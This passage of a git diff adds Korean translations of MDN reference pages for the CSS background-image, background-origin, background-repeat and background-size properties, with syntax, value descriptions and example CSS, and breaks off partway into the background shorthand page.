+<div>{{EmbedInteractiveExample("pages/css/background-image.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>여러 개의 배경 이미지는 쌓임 맥락에 따라 서로의 위에 놓입니다. 맨 처음 지정한 이미지가 제일 위에(사용자에게 제일 가까운 것 처럼) 위치합니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/border">테두리</a>는 배경 이미지 위에, {{cssxref("background-color")}}는 밑에 그려집니다. 요소 박스와 테두리에 관련하여 배경 이미지를 어떻게 그릴지는 {{cssxref("background-clip")}}과 {{cssxref("background-origin")}} CSS 속성이 정의합니다.</p>
+
+<p>브라우저는 값에 유효하지 않은 URI를 지정하는 등 주어진 이미지를 그릴 수 없을 때 <code>none</code> 키워드를 사용한 것처럼 처리합니다.</p>
+
+<div class="note"><strong>참고:</strong> 지정한 이미지가 불투명해서 아래의 배경색을 볼 수 없더라도 {{cssxref("background-color")}}는 지정해야 합니다. 네트워크가 내려가는 등 이미지를 불러올 수 없는 상황에서 배경 색이 대체할 수 있기 때문입니다,</div>
+
+<h2 id="구문">구문</h2>
+
+<p>각각의 배경 이미지는 <code>{{anch("none")}}</code> 키워드나 {{cssxref("&lt;image&gt;")}} 값으로 지정할 수 있습니다.</p>
+
+<p>여러 개의 배경 이미지를 지정하려면 쉼표로 구분한 다수의 값을 지정하세요.</p>
+
+<pre class="brush: css notranslate">background-image:
+  linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
+  url('https://mdn.mozillademos.org/files/7693/catfront.png');</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="none" name="none"><code>none</code></a></dt>
+ <dd>배경 이미지의 부재를 나타내는 키워드입니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>배경으로 사용할 이미지입니다. <a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">여러 개의 배경 이미지</a>를 사용할 땐 쉼표로 구분한 다수의 값을 지정하세요.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배경_이미지_레이어링">배경 이미지 레이어링</h3>
+
+<p>별 모양 이미지는 배경이 투명하고, 고양이 이미지 위에 위치합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="catsandstars"&gt;
+    This paragraph is full of cats&lt;br /&gt;and stars.
+  &lt;/p&gt;
+  &lt;p&gt;This paragraph is not.&lt;/p&gt;
+  &lt;p class="catsandstars"&gt;
+    Here are more cats for you.&lt;br /&gt;Look at them!
+  &lt;/p&gt;
+  &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  font-size: 1.5em;
+  color: #FE7F88;
+  background-image: none;
+  background-color: transparent;
+}
+
+div {
+  background-image:
+      url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+.catsandstars {
+  background-image:
+      url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+      url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('배경_이미지_레이어링')}}</p>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#background-image', 'background-image') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>From CSS2 Revision 1, the property has been extended to support multiple backgrounds and any {{cssxref("&lt;image&gt;")}} CSS data type.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>From CSS1, the way images with and without intrinsic dimensions are handled is now described.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#background-image', 'background-image') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.properties.background-image")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS">CSS로 이미지 스프라이트 구현하기</a></li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>이미지 관련 자료형: {{cssxref("&lt;image&gt;")}}, {{cssxref("&lt;gradient&gt;")}}</li>
+ <li>이미지 관련 함수: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("element")}}, {{cssxref("_image", "image()")}}, {{cssxref("image-set")}}, {{cssxref("url", "url()")}}</li>
+</ul>
diff --git a/files/ko/web/css/background-origin/index.html b/files/ko/web/css/background-origin/index.html
new file mode 100644
index 0000000000..4a92509f69
--- /dev/null
+++ b/files/ko/web/css/background-origin/index.html
@@ -0,0 +1,113 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/background-origin
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-origin</code></strong> 속성은 배경의 원점을 테두리 시작점, 테두리 내부, 안쪽 여백 내부 중 하나로 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-origin.html")}}</div>
+
+
+
+<p>{{cssxref("background-attachment")}}가 <code>fixed</code>인 경우 <code>background-origin</code>은 무시됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* 전역 값 */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+</pre>
+
+<p><code>background-origin</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>배경을 테두리 박스에 상대적으로 배치합니다.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>배경을 안쪽 여백 박스에 상대적으로 배치합니다.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>배경을 콘텐츠 박스에 상대적으로 배치합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배경_원점_설정하기">배경 원점 설정하기</h3>
+
+<pre class="brush:css; highlight:[6]; notranslate">.example {
+  border: 10px double;
+  padding: 10px;
+  background: url('image.jpg');
+  background-position: center left;
+  background-origin: content-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[6]; notranslate">#example2 {
+  border: 4px solid black;
+  padding: 10px;
+  background: url('image.gif');
+  background-repeat: no-repeat;
+  background-origin: border-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[4]; notranslate">div {
+  background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+  background-position: top right, 0px 0px;
+  background-origin: content-box, padding-box;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-origin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+</ul>
diff --git a/files/ko/web/css/background-repeat/index.html b/files/ko/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..5183ad67d6
--- /dev/null
+++ b/files/ko/web/css/background-repeat/index.html
@@ -0,0 +1,233 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/background-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-repeat</code></strong> 속성은 배경 이미지의 반복 방법을 지정합니다. 가로축 및 세로축을 따라 반복할 수 있고, 아예 반복하지 않을 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-repeat.html")}}</div>
+
+
+
+<p>반복한 이미지는 기본값에선 요소 크기에 따라 잘릴 수 있지만, 잘리지 않도록 배경 이미지 크기를 조절하거나(<code>round</code>) 끝에서 끝까지 고르게 분배(<code>space</code>)할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* 2개 값 구문: 가로 | 세로 */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* 전역 값 */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>한 개 값 구문은 두 개 값 구문의 단축 형태입니다.</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>한 개 값</strong></td>
+    <td><strong>두 개 값</strong></td>
+   </tr>
+   <tr>
+    <td><code>repeat-x</code></td>
+    <td><code>repeat no-repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat-y</code></td>
+    <td><code>no-repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat</code></td>
+    <td><code>repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td><code>space space</code></td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td><code>round round</code></td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td><code>no-repeat no-repeat</code></td>
+   </tr>
+  </tbody>
+ </table>
+ 두 개 값 구문의 앞쪽은 가로 반복 방법을, 뒤쪽은 세로 반복 방법을 설정합니다. 각 방법의 동작 방식은 아래 표와 같습니다.</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat</code></td>
+    <td>요소의 배경 영역을 채울 때까지 이미지를 반복합니다. 마지막 반복 이미지가 넘칠 경우 잘라냅니다.</td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>요소가 잘리지 않을 만큼 이미지를 반복합니다. 제일 처음과 마지막 반복 이미지는 요소의 양쪽 끝에 고정되고, 각 이미지 사이에 남은 여백을 고르게 분배합니다. 잘리지 않고 배치할 수 있는 이미지가 단 한 장인 경우가 아니라면 {{cssxref("background-position")}} 속성은 무시합니다. <code>space</code>를 사용했는데 이미지가 잘리는 경우는 그 크기가 너무 커서 한 장 조차 넣을 수 없는 경우뿐입니다.</td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>가용 영역이 늘어나면 반복 이미지도 늘어나 여백을 남기지 않습니다. 이미지를 하나 더 추가할 공간이 생기면 (남은 공간 &gt;= 이미지 너비의 절반) 비로소 반복 횟수를 하나 추가합니다. 이 때, 원래 존재하던 이미지는 모두 줄어들어 새로운 이미지를 위한 공간을 확보합니다. 예시: 원래 너비가 260px이고, 세 번 반복된 이미지는 각자 300px 너비가 될 때까지 늘어날 수 있습니다. 그 후에는 이미지를 추가하고, 각자 225px로 줄어듭니다.</td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>이미지를 반복하지 않습니다. 따라서 배경 이미지 영역이 다 차지 않을 수 있습니다. 반복하지 않은 이미지의 위치는 {{cssxref("background-position")}} CSS속성이 설정합니다.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;no-repeat
+    &lt;div class="one"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat
+    &lt;div class="two"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-x
+    &lt;div class="three"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-y
+    &lt;div class="four"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;space
+    &lt;div class="five"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;round
+    &lt;div class="six"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-x, repeat-y (multiple images)
+    &lt;div class="seven"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">/* Shared for all DIVS in example */
+ol,
+li {
+  margin: 0;
+  padding: 0;
+}
+li {
+  margin-bottom: 12px;
+}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 160px;
+    height: 70px;
+}
+
+/* Background repeats */
+.one {
+  background-repeat: no-repeat;
+}
+.two {
+  background-repeat: repeat;
+}
+.three {
+  background-repeat: repeat-x;
+}
+.four {
+  background-repeat: repeat-y;
+}
+.five {
+  background-repeat: space;
+}
+.six {
+  background-repeat: round;
+}
+
+/* Multiple images */
+.seven {
+  background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                     url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+  background-repeat: repeat-x,
+                     repeat-y;
+  height: 144px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 240, 560)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the <code>space</code> and <code>round</code> keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-repeat")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-size/index.html b/files/ko/web/css/background-size/index.html
new file mode 100644
index 0000000000..db02fe7030
--- /dev/null
+++ b/files/ko/web/css/background-size/index.html
@@ -0,0 +1,196 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-size
+---
+<div>{{CSSRef}}</div>
+
+<div><a href="/ko/docs/CSS">CSS</a> <strong><code>background-size</code></strong> 속성은 요소 배경 이미지의 크기를 설정합니다. 그대로 두거나, 늘리고 줄이거나, 공간에 맞출 수 있습니다.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/background-size.html")}}</div>
+
+
+
+<p>배경 이미지로 덮이지 않은 공간은 {{cssxref("background-color")}} 속성으로 채워지고, 배경 이미지에서 투명하거나 반투명한 부분을 통해서도 배경색이 보입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+background-size: cover;
+background-size: contain;
+
+/* 단일 값 구문 */
+/* 이미지 너비 (높이는 'auto'가 됨) */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* 두 개 값 구문 */
+/* 첫 번째 값: 이미지 너비, 두 번째 값: 이미지 높이 */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* 다중 배경 */
+background-size: auto, auto; /* `auto auto`와 혼동하지 말 것 */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* 전역 값 */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+</pre>
+
+<p> <code>background-size</code> 속성은 다음 방법 중 하나로 지정할 수 있습니다. </p>
+
+<ul>
+ <li><code><a href="#contain">contain</a></code> 또는 <code><a href="#cover">cover</a></code> 키워드 값 사용.</li>
+ <li>너비 값만 사용. 높이는 자동으로 <code>{{anch("auto")}}</code>가 됩니다.</li>
+ <li>너비와 높이 값을 모두 사용. 첫 번째 값은 너비로, 두 번째 값은 높이를 설정합니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, <code>{{anch("auto")}}</code>를 사용할 수 있습니다.</li>
+</ul>
+
+<p>여러 배경 이미지의 사이즈를 지정하려면 각각의 값을 쉼표로 구분하세요.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="contain" name="contain"><code>contain</code></a></dt>
+ <dd>이미지가 잘리거나 찌그러지지 않는 한도 내에서 제일 크게 설정.</dd>
+ <dt><a id="cover" name="cover"><code>cover</code></a></dt>
+ <dd>이미지가 찌그러지지 않는 한도 내에서 제일 크게 설정. 이미지의 가로세로비가 요소와 다르다면 이미지를 세로 또는 가로방향으로 잘라내어 빈 공간이 생기지 않도록 설정합니다.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>배경 이미지의 원본 크기를 유지.</dd>
+ <dt id="length">{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>원본 크기의 너비/높이를 주어진 값으로 늘리거나 줄임. 음수는 유효하지 않습니다.</dd>
+ <dt id="percentage">{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Stretches the image in the corresponding dimension to the specified percentage of the <em>background positioning area</em>. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is <code>fixed</code>, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.</dd>
+</dl>
+
+<h3 id="원본_크기와_비율">원본 크기와 비율</h3>
+
+<p>The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:</p>
+
+<ul>
+ <li>A bitmap image (such as JPG) always has intrinsic dimensions and proportions.</li>
+ <li>A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.</li>
+ <li>CSS {{cssxref("&lt;gradient&gt;")}}s have no intrinsic dimensions or intrinsic proportions.</li>
+ <li>Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> The behavior of <code>&lt;gradient&gt;</code>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.</p>
+</div>
+
+<p>Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:</p>
+
+<dl>
+ <dt>If both components of <code>background-size</code> are specified and are not <code>auto</code>:</dt>
+ <dd>The background image is rendered at the specified size.</dd>
+ <dt>If the <code>background-size</code> is <code>contain</code> or <code>cover</code>:</dt>
+ <dd>While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.</dd>
+ <dt>If the <code>background-size</code> is <code>auto</code> or <code>auto auto</code>:</dt>
+ <dd>
+ <ul>
+  <li>If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.</li>
+  <li>If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.</li>
+  <li>If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if <code>contain</code> had been specified instead.</li>
+  <li>If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.</li>
+  <li>If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+ <dd>
+ <div class="note"><strong>Note:</strong> SVG images have a <code><a href="/en-US/docs/Web/SVG/Attribute/preserveAspectRatio">preserveAspectRatio</a></code> attribute that defaults to the equivalent of <code>contain</code>. In Firefox 43, as opposed to Chrome 52, an explicit <code>background-size</code> causes <code>preserveAspectRatio</code> to be ignored.</div>
+ </dd>
+ <dt>If the <code>background-size</code> has one <code>auto</code> component and one non-<code>auto</code> component:</dt>
+ <dd>
+ <ul>
+  <li>If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.</li>
+  <li>If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>Please see <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Scaling background images</a> for examples.</p>
+
+<h2 id="참고">참고</h2>
+
+<p>If you use a <code>&lt;gradient&gt;</code> as the background and specify a <code>background-size</code> to go with it, it's best not to specify a size that uses a single <code>auto</code> component, or is specified using only a width value (for example, <code>background-size: 50%</code>). Rendering of <code>&lt;gradient&gt;</code>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">the CSS3 <code>background-size</code> specification</a> and with <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">the CSS3 Image Values gradient specification</a>.</p>
+
+<pre class="brush: css">.gradient-example {
+  width: 50px;
+  height: 100px;
+  background-image: linear-gradient(blue, red);
+
+  /* Not safe to use */
+  background-size: 25px;
+  background-size: 50%;
+  background-size: auto 50px;
+  background-size: auto 50%;
+
+  /* Safe to use */
+  background-size: 25px 50px;
+  background-size: 50% 50%;
+}
+</pre>
+
+<p>Note that it's particularly not recommended to use a pixel dimension and an <code>auto</code> dimension with a <code>&lt;gradient&gt;</code>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Scaling background images</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li>
+ <li>{{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/ko/web/css/background/index.html b/files/ko/web/css/background/index.html
new file mode 100644
index 0000000000..1fd697b1d8
--- /dev/null
+++ b/files/ko/web/css/background/index.html
@@ -0,0 +1,178 @@
+---
+title: background
+slug: Web/CSS/background
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+  - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/background
+---
+<div>{{CSSRef("CSS Background")}}</div>
+
+<p><a href="/ko/docs/Web/API/CSS">CSS </a><strong><code>background</code> </strong><a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 한 번에 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>background</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css notranslate">/* &lt;background-color&gt; 사용 */
+background: green;
+
+/* &lt;bg-image&gt;와 &lt;repeat-style&gt; 사용 */
+background: url("test.jpg") repeat-y;
+
+/* &lt;box&gt;와 &lt;background-color&gt; 사용 */
+background: border-box red;
+
+/* 단일 이미지, 중앙 배치 및 크기 조절 */
+background: no-repeat center/80% url("../img/image.png");
+</pre>
+
+<p><code>background</code> 속성을 쉼표로 구분해서 배경 레이어를 여러 개 지정할 수 있습니다.</p>
+
+<p>각 레이어의 구문은 다음과 같습니다.</p>
+
+<ul>
+ <li>각 레이어는 다음 값을 가지거나 가지지 않을 수 있습니다.
+  <ul>
+   <li><code><a href="#attachment">&lt;attachment&gt;</a></code></li>
+   <li><code><a href="#bg-image">&lt;bg-image&gt;</a></code></li>
+   <li><code><a href="#position">&lt;position&gt;</a></code></li>
+   <li><code><a href="#bg-size">&lt;bg-size&gt;</a></code></li>
